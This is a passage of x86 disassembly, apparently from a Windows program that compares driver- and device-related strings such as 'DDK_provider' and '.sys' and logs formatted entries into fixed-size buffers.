rep movsb byte es:[edi], byte [esi]
jne 0x406ff1
mov dword [0x57cde0], 0
mov ebx, dword [ebp - 0x14]
push str.beep
push 0x52d2dc
call fcn.0047fde0
add esp, 8
test eax, eax
jne 0x407017
push 0x52d2dc
call fcn.0045b200
add esp, 4
push str.Null
push 0x52d2dc
call fcn.0047fde0
add esp, 8
test eax, eax
jne 0x40703a
push 0x52d2dc
call fcn.0045b200
add esp, 4
push 0x491c48
push ebx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x4071af
push 0x491c3c
push ebx
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x4071af
cmp dword [0x57cd64], 1
jne 0x407075
inc dword [0x57cd60]
push 0x50ed70
call fcn.00435510
add esp, 4
push 0x57cb28
call fcn.00448a40
add esp, 4
push 0x50ed70
call fcn.0045a860
add esp, 4
push 0x52d2dc
call fcn.0045b1a0
add esp, 4
mov byte [0x519828], 0
push 0x57cb28
push 0x491c08
push 0x519828
call fcn.0047a8f8
mov eax, dword [0x57d034]
add esp, 0xc
test eax, eax
push 0x519828
jne 0x4070df
call fcn.00404010
add esp, 4
jmp 0x407108
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
push 0x519828
push 0x4f1934
push 0x50d7a8
push str._s__s___s
push 0x563724
mov byte [0x563724], 0
call fcn.0047a8f8
mov ebx, dword [0x57cda0]
mov edi, 0x57cb28
mov edx, ebx
or ecx, 0xffffffff
xor eax, eax
add esp, 0x14
shl edx, 8
repne scasb al, byte es:[edi]
not ecx
lea esi, [edx + 0x50aa18]
sub edi, ecx
mov eax, ecx
mov dword [ebp - 0x18], esi
mov esi, edi
mov edi, dword [ebp - 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
lea edx, [edx + 0x4e02ac]
rep movsb byte es:[edi], byte [esi]
mov edi, 0x50ed70
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [0x57cd98], 1
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
inc ebx
cmp ebx, 0x14
mov dword [0x57cda0], ebx
rep movsb byte es:[edi], byte [esi]
jne 0x4071af
mov dword [0x57cda0], 0
mov ecx, dword [ebp - 0x14]
push 0x491bf8
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x407311
cmp dword [0x57cd64], 1
jne 0x4071d7
inc dword [0x57cd60]
push 0x50ed70
call fcn.00435510
add esp, 4
push 0x57cb28
call fcn.00448a40
add esp, 4
push 0x50ed70
call fcn.0045a860
add esp, 4
push 0x52d2dc
call fcn.0045b1a0
add esp, 4
mov byte [0x519828], 0
push 0x57cb28
push 0x491bd0
push 0x519828
call fcn.0047a8f8
mov eax, dword [0x57d034]
add esp, 0xc
test eax, eax
push 0x519828
jne 0x407241
call fcn.00404010
add esp, 4
jmp 0x40726a
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
push 0x519828
push 0x4f1934
push 0x50d7a8
push str._s__s___s
push 0x563724
mov byte [0x563724], 0
call fcn.0047a8f8
mov ebx, dword [0x57cda0]
mov edi, 0x57cb28
mov edx, ebx
or ecx, 0xffffffff
xor eax, eax
add esp, 0x14
shl edx, 8
repne scasb al, byte es:[edi]
not ecx
lea esi, [edx + 0x50aa18]
sub edi, ecx
mov eax, ecx
mov dword [ebp - 0x18], esi
mov esi, edi
mov edi, dword [ebp - 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
lea edx, [edx + 0x4e02ac]
rep movsb byte es:[edi], byte [esi]
mov edi, 0x50ed70
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [0x57cd98], 1
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
inc ebx
cmp ebx, 0x14
mov dword [0x57cda0], ebx
rep movsb byte es:[edi], byte [esi]
jne 0x407311
mov dword [0x57cda0], 0
mov ecx, dword [ebp - 0x14]
push 0x491bc8
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x40747a
push 0x57cb28
call fcn.004694c0
add esp, 4
cmp eax, 1
jne 0x40747a
push 0x50ed70
call fcn.00435510
add esp, 4
push 0x57cb28
call fcn.00448a40
add esp, 4
push 0x50ed70
call fcn.0045a860
add esp, 4
push 0x52d2dc
call fcn.0045b1a0
add esp, 4
mov byte [0x519828], 0
push 0x57cb28
push 0x491bd0
push 0x519828
call fcn.0047a8f8
mov eax, dword [0x57d034]
add esp, 0xc
test eax, eax
push 0x519828
jne 0x4073aa
call fcn.00404010
add esp, 4
jmp 0x4073d3
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
push 0x519828
push 0x4f1934
push 0x50d7a8
push str._s__s___s
push 0x563724
mov byte [0x563724], 0
call fcn.0047a8f8
mov ebx, dword [0x57cda0]
mov edi, 0x57cb28
mov edx, ebx
or ecx, 0xffffffff
xor eax, eax
add esp, 0x14
shl edx, 8
repne scasb al, byte es:[edi]
not ecx
lea esi, [edx + 0x50aa18]
sub edi, ecx
mov eax, ecx
mov dword [ebp - 0x18], esi
mov esi, edi
mov edi, dword [ebp - 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
lea edx, [edx + 0x4e02ac]
rep movsb byte es:[edi], byte [esi]
mov edi, 0x50ed70
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [0x57cd98], 1
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
inc ebx
cmp ebx, 0x14
mov dword [0x57cda0], ebx
rep movsb byte es:[edi], byte [esi]
jne 0x40747a
mov dword [0x57cda0], 0
mov ecx, dword [ebp - 0x14]
push 0x491bbc
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x4075e6
mov edx, dword [ebp - 0x14]
push 0x491bc8
push edx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x4075e6
push 0x50ed70
call fcn.00435510
add esp, 4
push 0x57cb28
call fcn.00448a40
add esp, 4
push 0x50ed70
call fcn.0045a860
add esp, 4
push 0x52d2dc
call fcn.0045b1a0
add esp, 4
mov byte [0x519828], 0
push 0x57cb28
push 0x491bd0
push 0x519828
call fcn.0047a8f8
mov eax, dword [0x57d034]
add esp, 0xc
test eax, eax
push 0x519828
jne 0x407516
call fcn.00404010
add esp, 4
jmp 0x40753f
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
push 0x519828
push 0x4f1934
push 0x50d7a8
push str._s__s___s
push 0x563724
mov byte [0x563724], 0
call fcn.0047a8f8
mov ebx, dword [0x57cda0]
mov edi, 0x57cb28
mov edx, ebx
or ecx, 0xffffffff
xor eax, eax
add esp, 0x14
shl edx, 8
repne scasb al, byte es:[edi]
not ecx
lea esi, [edx + 0x50aa18]
sub edi, ecx
mov eax, ecx
mov dword [ebp - 0x18], esi
mov esi, edi
mov edi, dword [ebp - 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
lea edx, [edx + 0x4e02ac]
rep movsb byte es:[edi], byte [esi]
mov edi, 0x50ed70
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [0x57cd98], 1
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
inc ebx
cmp ebx, 0x14
mov dword [0x57cda0], ebx
rep movsb byte es:[edi], byte [esi]
jne 0x4075e6
mov dword [0x57cda0], 0
mov ecx, dword [0x54bdd4]
push str.DDK_provider
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x40777d
mov edx, dword [ebp - 0x14]
push 0x491ba0
push edx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x40777d
mov eax, dword [ebp - 0x14]
push 0x491b98
push eax
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x40777d
cmp dword [0x57cd64], 1
jne 0x407643
inc dword [0x57cd60]
push 0x50ed70
call fcn.00435510
add esp, 4
push 0x57cb28
call fcn.00448a40
add esp, 4
push 0x50ed70
call fcn.0045a860
add esp, 4
push 0x52d2dc
call fcn.0045b1a0
add esp, 4
mov byte [0x519828], 0
push 0x57cb28
push 0x491bd0
push 0x519828
call fcn.0047a8f8
mov eax, dword [0x57d034]
add esp, 0xc
test eax, eax
push 0x519828
jne 0x4076ad
call fcn.00404010
add esp, 4
jmp 0x4076d6
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
push 0x519828
push 0x4f1934
push 0x50d7a8
push str._s__s___s
push 0x563724
mov byte [0x563724], 0
call fcn.0047a8f8
mov ebx, dword [0x57cda0]
mov edi, 0x57cb28
mov edx, ebx
or ecx, 0xffffffff
xor eax, eax
add esp, 0x14
shl edx, 8
repne scasb al, byte es:[edi]
not ecx
lea esi, [edx + 0x50aa18]
sub edi, ecx
mov eax, ecx
mov dword [ebp - 0x18], esi
mov esi, edi
mov edi, dword [ebp - 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
lea edx, [edx + 0x4e02ac]
rep movsb byte es:[edi], byte [esi]
mov edi, 0x50ed70
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [0x57cd98], 1
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
inc ebx
cmp ebx, 0x14
mov dword [0x57cda0], ebx
rep movsb byte es:[edi], byte [esi]
jne 0x40777d
mov dword [0x57cda0], 0
mov ecx, dword [0x54bdd4]
push 0x491b90
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x40799b
mov edx, dword [ebp - 0x14]
push 0x491ba0
push edx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x40799b
cmp dword [ebp - 0x20], 0xa
jle 0x407852
cmp dword [ebp - 0x28], 5
jle 0x407852
push 0x57cb28
push 0x491b70
push 0x519828
mov byte [0x519828], 0
call fcn.0047a8f8
mov eax, dword [0x57d034]
add esp, 0xc
test eax, eax
push 0x519828
jne 0x4077fc
call fcn.00404010
add esp, 4
jmp 0x407825
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
push 0x519828
push 0x4f1934
push 0x50d7a8
push str._s__s___s
push 0x563724
mov byte [0x563724], 0
call fcn.0047a8f8
add esp, 0x14
jmp 0x40799b
cmp dword [0x57cd64], 1
jne 0x407861
inc dword [0x57cd60]
push 0x50ed70
call fcn.00435510
add esp, 4
push 0x57cb28
call fcn.00448a40
add esp, 4
push 0x50ed70
call fcn.0045a860
add esp, 4
push 0x52d2dc
call fcn.0045b1a0
add esp, 4
mov byte [0x519828], 0
push 0x57cb28
push 0x491bd0
push 0x519828
call fcn.0047a8f8
mov eax, dword [0x57d034]
add esp, 0xc
test eax, eax
push 0x519828
jne 0x4078cb
call fcn.00404010
add esp, 4
jmp 0x4078f4
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
push 0x519828
push 0x4f1934
push 0x50d7a8
push str._s__s___s
push 0x563724
mov byte [0x563724], 0
call fcn.0047a8f8
mov ebx, dword [0x57cda0]
mov edi, 0x57cb28
mov edx, ebx
or ecx, 0xffffffff
xor eax, eax
add esp, 0x14
shl edx, 8
repne scasb al, byte es:[edi]
not ecx
lea esi, [edx + 0x50aa18]
sub edi, ecx
mov eax, ecx
mov dword [ebp - 0x18], esi
mov esi, edi
mov edi, dword [ebp - 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
lea edx, [edx + 0x4e02ac]
rep movsb byte es:[edi], byte [esi]
mov edi, 0x50ed70
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [0x57cd98], 1
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
inc ebx
cmp ebx, 0x14
mov dword [0x57cda0], ebx
rep movsb byte es:[edi], byte [esi]
jne 0x40799b
mov dword [0x57cda0], 0
mov ecx, dword [0x54bdd4]
push 0x491b90
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x407bb9
mov edx, dword [ebp - 0x14]
push 0x491b68
push edx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x407bb9
cmp dword [ebp - 0x20], 0xa
jle 0x407a70
cmp dword [ebp - 0x28], 5
jle 0x407a70
push 0x57cb28
push 0x491b70
push 0x519828
mov byte [0x519828], 0
call fcn.0047a8f8
mov eax, dword [0x57d034]
add esp, 0xc
test eax, eax
push 0x519828
jne 0x407a1a
call fcn.00404010
add esp, 4
jmp 0x407a43
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
push 0x519828
push 0x4f1934
push 0x50d7a8
push str._s__s___s
push 0x563724
mov byte [0x563724], 0
call fcn.0047a8f8
add esp, 0x14
jmp 0x407bb9
cmp dword [0x57cd64], 1
jne 0x407a7f
inc dword [0x57cd60]
push 0x50ed70
call fcn.00435510
add esp, 4
push 0x57cb28
call fcn.00448a40
add esp, 4
push 0x50ed70
call fcn.0045a860
add esp, 4
push 0x52d2dc
call fcn.0045b1a0
add esp, 4
mov byte [0x519828], 0
push 0x57cb28
push 0x491bd0
push 0x519828
call fcn.0047a8f8
mov eax, dword [0x57d034]
add esp, 0xc
test eax, eax
push 0x519828
jne 0x407ae9
call fcn.00404010
add esp, 4
jmp 0x407b12
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
push 0x519828
push 0x4f1934
push 0x50d7a8
push str._s__s___s
push 0x563724
mov byte [0x563724], 0
call fcn.0047a8f8
mov ebx, dword [0x57cda0]
mov edi, 0x57cb28
mov edx, ebx
or ecx, 0xffffffff
xor eax, eax
add esp, 0x14
shl edx, 8
repne scasb al, byte es:[edi]
not ecx
lea esi, [edx + 0x50aa18]
sub edi, ecx
mov eax, ecx
mov dword [ebp - 0x18], esi
mov esi, edi
mov edi, dword [ebp - 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
lea edx, [edx + 0x4e02ac]
rep movsb byte es:[edi], byte [esi]
mov edi, 0x50ed70
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [0x57cd98], 1
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
inc ebx
cmp ebx, 0x14
mov dword [0x57cda0], ebx
rep movsb byte es:[edi], byte [esi]
jne 0x407bb9
mov dword [0x57cda0], 0
mov ecx, dword [0x54bdd4]
push 0x491b90
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x4080ab
mov esi, dword [ebp - 0x14]
push 0x491b5c
push esi
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x4080ab
push 0x491c3c
push esi
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x4080ab
push 0x5649a8
call fcn.00449260
mov esi, eax
add esp, 4
test esi, esi
mov dword [ebp - 0x24], esi
je 0x407c28
cmp esi, 1
je 0x407c28
cmp esi, 2
jne 0x407d9a
cmp dword [0x57cd64], 1
jne 0x407c37
inc dword [0x57cd60]
push 0x50ed70
call fcn.00435510
add esp, 4
push 0x57cb28
call fcn.00448a40
add esp, 4
push 0x50ed70
call fcn.0045a860
add esp, 4
push 0x52d2dc
call fcn.0045b1a0
add esp, 4
cmp esi, 2
mov byte [0x519828], 0
jne 0x407c83
push 0x57cb28
push 0x491b2c
jmp 0x407ca2
cmp esi, 1
jne 0x407c94
push 0x57cb28
push 0x491b2c
jmp 0x407ca2
test esi, esi
jne 0x407caf
push 0x57cb28
push 0x491af8
push 0x519828
call fcn.0047a8f8
add esp, 0xc
mov eax, dword [0x57d034]
push 0x519828
test eax, eax
jne 0x407cc7
call fcn.00404010
add esp, 4
jmp 0x407cf0
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
push 0x519828
push 0x4f1934
push 0x50d7a8
push str._s__s___s
push 0x563724
mov byte [0x563724], 0
call fcn.0047a8f8
mov ebx, dword [0x57cda0]
mov edi, 0x57cb28
mov edx, ebx
or ecx, 0xffffffff
xor eax, eax
add esp, 0x14
shl edx, 8
repne scasb al, byte es:[edi]
not ecx
lea esi, [edx + 0x50aa18]
sub edi, ecx
mov eax, ecx
mov dword [ebp - 0x18], esi
mov esi, edi
mov edi, dword [ebp - 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
lea edx, [edx + 0x4e02ac]
rep movsb byte es:[edi], byte [esi]
mov edi, 0x50ed70
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [0x57cd98], 1
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
inc ebx
cmp ebx, 0x14
mov dword [0x57cda0], ebx
rep movsb byte es:[edi], byte [esi]
jne 0x407d97
mov dword [0x57cda0], 0
mov esi, dword [ebp - 0x24]
cmp esi, 3
jne 0x4080ab
mov ecx, dword [ebp - 0x14]
push 0x491aec
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x4080ab
mov esi, dword [ebp - 0x14]
push 0x491ae4
push esi
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x407e1d
push 0x491adc
push esi
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x407e1d
push 0x491bc8
push esi
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x407e1d
push 0x491ad4
push esi
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x407e1d
push 0x491acc
push esi
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x4080ab
cmp dword [0x57cd64], 1
jne 0x407e2c
inc dword [0x57cd60]
push 0x50ed70
call fcn.00435510
add esp, 4
push 0x57cb28
call fcn.00448a40
add esp, 4
push 0x50ed70
call fcn.0045a860
add esp, 4
push 0x52d2dc
call fcn.0045b1a0
add esp, 4
mov byte [0x519828], 0
push 0x57cb28
push 0x491a84
push 0x519828
call fcn.0047a8f8
mov eax, dword [0x57d034]
add esp, 0xc
test eax, eax
push 0x519828
jne 0x407e96
call fcn.00404010
add esp, 4
jmp 0x407ebf
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
push 0x519828
push 0x4f1934
push 0x50d7a8
push str._s__s___s
push 0x563724
mov byte [0x563724], 0
call fcn.0047a8f8
mov ebx, dword [0x57cda0]
mov edi, 0x57cb28
mov edx, ebx
or ecx, 0xffffffff
xor eax, eax
add esp, 0x14
shl edx, 8
repne scasb al, byte es:[edi]
not ecx
lea esi, [edx + 0x50aa18]
sub edi, ecx
mov dword [ebp - 0x18], esi
mov esi, edi
mov edi, dword [ebp - 0x18]
mov dword [0x57cd98], 1
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
lea edx, [edx + 0x4e02ac]
rep movsb byte es:[edi], byte [esi]
mov edi, 0x50ed70
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
inc ebx
cmp ebx, 0x14
mov dword [0x57cda0], ebx
rep movsb byte es:[edi], byte [esi]
jne 0x4080ab
mov dword [0x57cda0], 0
jmp 0x4080ab
push 0x54d6a4
push 0x57cb28
call fcn.0043f2c0
mov ecx, dword [0x54d6a4]
add esp, 8
mov dword [0x54bdd4], eax
push str..sys
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x407fba
mov edx, dword [0x54d6a4]
push str..Sys
push edx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x4080ab
mov eax, dword [0x54bdd4]
push 0x491b90
push eax
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x4080ab
mov ecx, dword [0x54bdd4]
push 0x491a7c
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x4080ab
push 0x5649a8
call fcn.00449260
add esp, 4
test eax, eax
je 0x40800f
cmp eax, ebx
je 0x40800f
cmp eax, 2
jne 0x4080ab
mov ebx, dword [0x57cda0]
mov edi, 0x57cb28
mov edx, ebx
or ecx, 0xffffffff
xor eax, eax
mov dword [0x57cd98], 1
shl edx, 8
repne scasb al, byte es:[edi]
not ecx
lea esi, [edx + 0x50aa18]
sub edi, ecx
mov dword [ebp - 0x18], esi
mov esi, edi
mov edi, dword [ebp - 0x18]
mov eax, ecx
jmp 0x407f1c
push 0xfa
lea ecx, [ebp - 0xdb8]
push 0x57cb28
push ecx
call fcn.0047b120
lea edx, [ebp - 0xdb8]
push 0x54d6a4
push edx
call fcn.004246e0
add esp, 0x14
jmp 0x4080a6
push 0xfa
lea eax, [ebp - 0xcb8]
push 0x57cb28
push eax
call fcn.0047b120
mov ecx, dword [0x57cd6c]
lea edx, [ebp - 0xcb8]
push ecx
push 0x54d6a4
push edx
call fcn.0044b170
add esp, 0x18
mov dword [0x54bdd4], eax
push 0x54e37c
push 0x54e17c
push 0x491a74
push 0x4cbd80
mov byte [0x519828], 0
call fcn.0047be7d
mov eax, dword [0x54bdd4]
push 0xfa
lea ecx, [ebp - 0x1b8]
push eax
push ecx
call fcn.0047b120
mov edx, dword [0x54bdd4]
mov eax, dword [0x54d6a4]
push edx
push eax
push 0x54e17c
push 0x491a50
push 0x519828
call fcn.0047a8f8
mov eax, dword [0x57d034]
add esp, 0x30
test eax, eax
push 0x519828
jne 0x40811e
call fcn.00403680
add esp, 4
jmp 0x408147
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404220
add esp, 0x1b4
lea ecx, [ebp - 0x1b8]
push 0x491a4c
push ecx
call fcn.0047bec0
lea edx, [ebp - 0x1b8]
mov esi, eax
push 0x491ce0
push edx
mov dword [ebp - 0x28], esi
call fcn.0047bec0
mov edi, eax
lea eax, [ebp - 0x1b8]
push 0x491a40
push eax
mov dword [ebp - 0x20], edi
call fcn.0047bec0
lea ecx, [ebp - 0x1b8]
push 0x491a38
push ecx
mov dword [ebp - 0x18], eax
call fcn.0047bec0
lea edx, [ebp - 0x1b8]
mov ebx, eax
push 0x491a2c
push edx
mov dword [ebp - 0x1c], ebx
call fcn.0047bec0
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x1b8]
push 0x491c80
push eax
call fcn.0047bec0
lea ecx, [ebp - 0x1b8]
push 0x491a20
push ecx
mov dword [ebp - 0x24], eax
call fcn.0047bec0
mov edx, dword [0x50c220]
mov ecx, 1
add esp, 0x38
cmp edx, ecx
jne 0x4081f6
test esi, esi
jne 0x4081f0
test edi, edi
je 0x4081f6
mov dword [0x57cec0], ecx
cmp dword [0x50c364], ecx
jne 0x408294
test esi, esi
mov dword [0x50c364], 0
jne 0x40821c
test edi, edi
jne 0x40821c
test ebx, ebx
jne 0x40821c
test eax, eax
je 0x408294
push 0x50c0a0
call fcn.0045b200
add esp, 4
lea edx, [ebp - 0xb8]
push edx
push 0x50c0a0
call fcn.004781b0
lea edi, [ebp - 0xb8]
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
test esi, esi
jle 0x408262
lea eax, [ebp - 0xb8]
push eax
call fcn.0045b200
add esp, 4
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x408274
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x408274
test ebx, ebx
je 0x408294
push 0x50c0a0
call fcn.00477d10
add esp, 4
test esi, esi
jle 0x408294
lea ecx, [ebp - 0xb8]
push ecx
call fcn.00477d10
add esp, 4
mov eax, dword [0x54ab88]
mov esi, 1
cmp eax, esi
jne 0x40835d
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp eax, ecx
je 0x4082db
mov edi, 0x5649a8
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, 0x54f88c
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor ecx, ecx
mov esi, 1
cmp dword [ebp - 0x28], ecx
jne 0x4082e5
cmp dword [ebp - 0x20], ecx
je 0x408355
cmp dword [0x57cd68], ecx
jne 0x408355
mov edx, dword [0x57cdc4]
mov edi, dword [0x54d6a4]
mov ebx, edx
or ecx, 0xffffffff
shl ebx, 8
xor eax, eax
add ebx, 0x51791c
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
inc edx
rep movsb byte es:[edi], byte [esi]
cmp edx, 0x19
mov dword [0x57cdc4], edx
jne 0x408337
mov dword [0x57cdc4], 0
push 0x5649a8
mov dword [0x57cdc0], 1
call fcn.00459fc0
add esp, 4
xor ecx, ecx
mov esi, 1
mov dword [0x57ce74], ecx
jmp 0x40835f
xor ecx, ecx
mov eax, dword [ebp - 0x24]
cmp eax, ecx
je 0x408374
cmp dword [0x4cd884], esi
jne 0x408374
mov dword [0x57ccc8], ecx
cmp dword [ebp - 0x14], ecx
je 0x408385
mov dword [0x57cca4], ecx
mov dword [0x57ccb4], ecx
cmp eax, ecx
je 0x408397
cmp dword [0x57cfc0], esi
jne 0x408397
mov dword [0x57cc64], ecx
cmp dword [ebp - 0x18], ecx
jne 0x4083aa
cmp dword [ebp - 0x28], ecx
jne 0x4083aa
cmp dword [ebp - 0x20], ecx
je 0x4087dd
cmp dword [0x57cd64], esi
jne 0x4083b8
inc dword [0x57cd60]
cmp dword [0x4e02a8], esi
jne 0x4083cd
push 0x4cc184
call fcn.0045a020
add esp, 4
cmp dword [0x54e178], esi
jne 0x4083e7
push 0x57d044
push 0x519a28
call fcn.0045a2b0
add esp, 8
cmp dword [0x57cfcc], esi
jne 0x40844c
mov edx, dword [0x57cfd4]
mov edi, 0x4a3b28
mov ebx, edx
or ecx, 0xffffffff
shl ebx, 6
xor eax, eax
add ebx, 0x4df5e8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [0x57cfcc], 0
mov eax, ecx
mov esi, edi
mov edi, ebx
mov dword [0x57cfd0], 1
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
inc edx
cmp edx, 0xa
mov dword [0x57cfd4], edx
rep movsb byte es:[edi], byte [esi]
jne 0x40844c
mov dword [0x57cfd4], 0
cmp dword [0x57cfc0], 1
jne 0x4084b2
mov edx, dword [0x57cfc8]
mov edi, 0x50ee70
mov esi, edx
or ecx, 0xffffffff
shl esi, 6
xor eax, eax
xor ebx, ebx
add esi, 0x51769c
mov dword [0x57cfc0], ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [ebp - 0x2c], esi
mov eax, ecx
mov esi, edi
mov edi, dword [ebp - 0x2c]
mov dword [0x57cfc4], 1
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
inc edx
cmp edx, 0xa
mov dword [0x57cfc8], edx
rep movsb byte es:[edi], byte [esi]
jne 0x4084b4
mov dword [0x57cfc8], ebx
jmp 0x4084b4
xor ebx, ebx
cmp dword [0x57cf78], 1
jne 0x408516
mov edx, dword [0x57cf80]
mov edi, 0x4a4d6c
mov esi, edx
or ecx, 0xffffffff
shl esi, 6
xor eax, eax
add esi, 0x52cf58
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
